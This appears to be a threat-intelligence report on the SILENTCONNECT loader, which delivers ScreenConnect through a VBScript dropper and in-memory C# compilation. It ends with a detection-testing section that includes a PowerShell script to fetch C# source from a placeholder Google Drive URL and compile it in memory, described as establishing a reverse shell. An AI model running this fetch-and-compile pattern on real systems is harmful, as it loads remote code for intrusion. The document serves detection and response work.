From Invitation to Infection: How SILENTCONNECT Delivers ScreenConnect

Summary

The report outlines a multi-stage loader named SILENTCONNECT that relies on a VBScript dropper, in-memory PowerShell compilation of C# code, and PEB masquerading to quietly deploy the ConnectWise ScreenConnect remote management tool. The attack begins with a phishing email that sends victims through a Cloudflare Turnstile CAPTCHA page before serving the VBScript payload. That script retrieves a C# component from Google Drive, compiles it in memory, and then downloads a ScreenConnect MSI from a malicious domain to establish persistence as a Windows service. The campaign blends trusted hosting services with living-off-the-land binaries to reduce its detection footprint.

Investigation

Elastic Security Labs identified a chain of unusual Windows Script alerts that ultimately exposed the E-INVITE.vbs file hosted on Cloudflare R2. Analysis showed the script launching a PowerShell command that called curl.exe to fetch a C# source file from Google Drive, which was then compiled and executed directly in memory. The loader used NtAllocateVirtualMemory to reserve executable memory, applied PEB masquerading, and inserted a Windows Defender exclusion before downloading the ScreenConnect installer with curl and executing it through msiexec. Network telemetry revealed the deployed client reaching a C2 endpoint at bumptobabeco.top over TCP port 8041.

Mitigation

Security teams should watch for suspicious PowerShell command lines invoking curl.exe, creation of temporary folders under C:\Temp, and unusual Add-Type compilation of downloaded C# source code. Detection logic should also account for PEB masquerading by flagging processes whose BaseDLLName or FullDllName values do not match the real module path. Outbound traffic to unfamiliar domains hosting MSI installers should be blocked or heavily scrutinized, and msiexec execution should be tightly controlled for non-trusted sources. Windows Defender exclusions must only be applied through approved administrative workflows.

Response

If these indicators are observed, immediately isolate the affected host, kill the malicious process, and remove the installed ScreenConnect service. Collect forensic evidence including temporary files, the compiled .NET assembly, and any dropped MSI packages. Revert any unauthorized Windows Defender exclusions and restore UAC settings if they were changed. Then hunt across the wider environment for matching loader artifacts and refresh detection content with all newly identified IOCs.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Initial Recon & Payload Retrieval – The attacker hosts a malicious C# source file on Google Drive. Using PowerShell, they download the raw file via Invoke-WebRequest.
  2. In‑Memory Compilation – The downloaded C# source is compiled directly in memory with Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $src.
  3. Execution – The resulting .NET type is instantiated and its Run() method is invoked, establishing a reverse shell.
  4. Obfuscation – The command line is launched with -ExecutionPolicy Bypass to avoid policy blocks, matching the exact strings the rule watches.

• Regression Test Script:

  # -------------------------------------------------
  # Simulated adversary script – triggers Sigma rule
  # -------------------------------------------------
  # 1. Define the remote C# payload URL (Google Drive share link)
  $payloadUrl = "https://drive.google.com/uc?export=download&id=YOUR_FILE_ID"
  
  # 2. Download the C# source into a variable
  $csharpSource = Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing | Select-Object -ExpandProperty Content
  
  # 3. Compile and load the payload in-memory
  Add-Type -ReferencedAssemblies 'Microsoft.CSharp' -TypeDefinition $csharpSource -Language CSharp
  
  # 4. Execute the payload (assumes class named "Payload" with static method "Run")
  # -------------------------------------------------

• Cleanup Commands:

  # Remove any temporary files (none created) and unload the in‑memory assembly
  # PowerShell does not provide a direct unload; terminate the process if needed
  Stop-Process -Id $PID -Force